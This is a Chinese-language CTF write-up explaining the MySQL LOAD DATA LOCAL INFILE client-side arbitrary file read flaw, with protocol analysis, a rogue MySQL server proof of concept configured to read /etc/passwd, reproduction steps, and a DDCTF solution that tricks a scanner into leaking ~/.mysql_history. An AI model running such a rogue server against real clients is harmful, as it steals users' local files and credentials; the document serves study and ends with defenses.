前言
最近打了
DDCTF
和
國賽
,發現都考了一個知識點,也就是
MysqlLocalInfile用戶端檔案讀取
這個漏洞,下面來詳細的學習一個這個漏洞。
漏洞形成原因
此漏洞形成的主要原因在于
LOAD DATA INFILE
這個文法上。在官方文檔中的介紹為:
該LOAD DATA語句以非常高的速度将文本檔案中的行讀入表中。 LOAD DATA是補充 SELECT ... INTO OUTFILE。請參見[第13.2.10.1節“SELECT ... INTO文法”(https://dev.mysql.com/doc/refman/8.0/en/select-into.html)]。)要将表中的資料寫入檔案,請使用 SELECT ... INTO OUTFILE。要将檔案讀回表中,請使用 LOAD DATA。兩個語句的FIELDS和LINES子句的文法 相同。
以下為
LOAD DATA INFILE
的兩種用法:
- 從本地伺服器導入資料到規定的表裡
首先我在本地的
/var/lib/mysqld/1.txt
中添加内容
Youhave a girlfriend
,執行指令
load data infile"/var/lib/mysql-files/1.txt"intotable users(name)
,成功添加資料.
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5CZ5IzM5cTZhBTO4YTMkZzNlVWZmNDM5IGM2EmN0YjM58CX0JXZ252bj91Ztl2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
- 從用戶端導入資料到伺服器上規定的表中
用戶端:Ubuntu18.04 IP
服務端:Centos7
在用戶端執行指令:
mysql-h148.70.151.111-u root-p-D test-e"load data local infile '/etc/passwd' into table user fields terminated by ','";
,在服務端檢視是否添加成果資料
資料成功回顯。而造成漏洞的也是第二點操作,通過用戶端與服務端的連接配接來讀取任意檔案。
從資料包傳遞層面分析用戶端與服務端的檔案傳輸
分析環境:Ubuntu18.04
mysql 5.7
本地Mysql輸入指令:
mysql-u root-p-h127.0.0.1
同時tcpdump抓取資料包:
tcpdump-i lo-l port3306-w los.pcap
下面是抓到的資料包:
我們來分析一下用戶端與服務端的
load datalocal
過程
1.伺服器向用戶端發送
Greeting
包,包含伺服器banner資訊(協定線程ID,版本,mysql認證類型等)
2.用戶端向服務端發送
LoginRequests
資料包,包含用戶端的banner資訊,以及
LoadDataLocal
選項和使用者名以及md5加密過的密碼
3.Mysql用戶端發送請求,探測目标平台的指紋資訊,以及進行初始化查詢(大多數Mysql用戶端在握手後都至少會發送一次請求)這個請求是一個很關鍵的步驟,在下面我們還會繼續解釋的。
4.用戶端發起Request Query
5.服務端響應對應用戶端請求檔案名的資料包
6.用戶端将所請求檔案内容發給服務端
漏洞利用
産生的漏洞為:在用戶端發送至少一次查詢後,服務端傳回Response TABULAR資料包,告訴用戶端我們想要讀取檔案的檔案名(實作任意檔案讀取),由于用戶端對于服務端的完全信任,我們就讀取到了我們想要的檔案。
原理:在Mysql協定中,用戶端是不會儲存自身請求的,而是通過服務端的響應來執行操作。
利用:我們可以自己去構造一個惡意的Mysql的伺服器來實作讀取用戶端中我們想要的檔案,構造伺服器最重要的的部分是:在任意時候都能回複一個file-transfer請求,而不是隻在用戶端發送LOAD
DATA LOCAL資料包時才去響應回複file-transfer請求。是以,隻需要用戶端在連接配接服務端後發送一個查詢請求,服務端立刻回複一個
file-transfer
,即可讀取到用戶端的本地檔案,而常見的 MySQL 用戶端都會在建立連接配接後發送一個請求用來判斷服務端的指紋資訊(如
select@@version_commentlimit1
),這樣就達到了我們想要的要求。
是以惡意伺服器與用戶端互動的流程如下:
構造File-Transfer資料包
在官方文檔中是有構造示範的
我們可以通過官方文檔來具體了解一下這個資料包的結構到底是怎麼樣的
通過這張圖,
0c
代表着資料包的長度,
000001
代表着資料包的序列号,從
fb
開始,後面的内容為傳回到用戶端的檔案名。
Poc
https://github.com/allyshka/Rogue-MySql-Server
file=('
/etc/passwd',
)
通過更改file括号中的值可以讀取我們想要讀到的檔案。
漏洞複現
實驗環境:
攻擊機:Centos7 Mysql5.7
靶機:Ubuntu18.04 Mysql5.7
1.首先先将本機的mysql服務關閉:
service mysqld stop
2.在伺服器上運作惡意伺服器腳本:
python rogue_mysql_ server.py
3.靶機遠端連接配接攻擊機資料庫:
mysql-hYour_vps-u root-p-P3306;
4.成功得到靶機中
/etc/passwd
的敏感資料
CTF中的應用
這次的DDCTF以及國賽中都出現了Mysql用戶端任意檔案讀取的這個漏洞.
下面對利用這個漏洞解答一下DDCTF
首先進入頁面發現
掃描器正好符合我們的漏洞原理,在掃描的過程中用弱密碼進行
3306端口
的爆破登陸,是以我們可以利用構造惡意伺服器來讀取掃描器中的檔案。
先在伺服器上布置
agent.py
進行掃描,發現回顯,未掃描出弱密碼,如果不布置
agent.py
,回顯,不存在
mysql
服務 ,修改一下
agent.py
源碼,讓其以為我們一直開着
mysql
。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("UA :", self.headers.getheaders('user-agent'))
print("self.headers :", self.headers)
print(")
self.send_response(404)
self.send_header("Set-Cookie", "foo=flag")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("
self.send_response(404)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
在伺服器上運作這個腳本,再開啟我們的
mysql
僞造惡意伺服器,讀取一下
~/.mysql_history
得到
Flag
回顯
防禦手段
- 避免使用
讀取本地檔案local
- 使用
來建立可信的連接配接。--ssl-mode=VERIFY_IDENTITY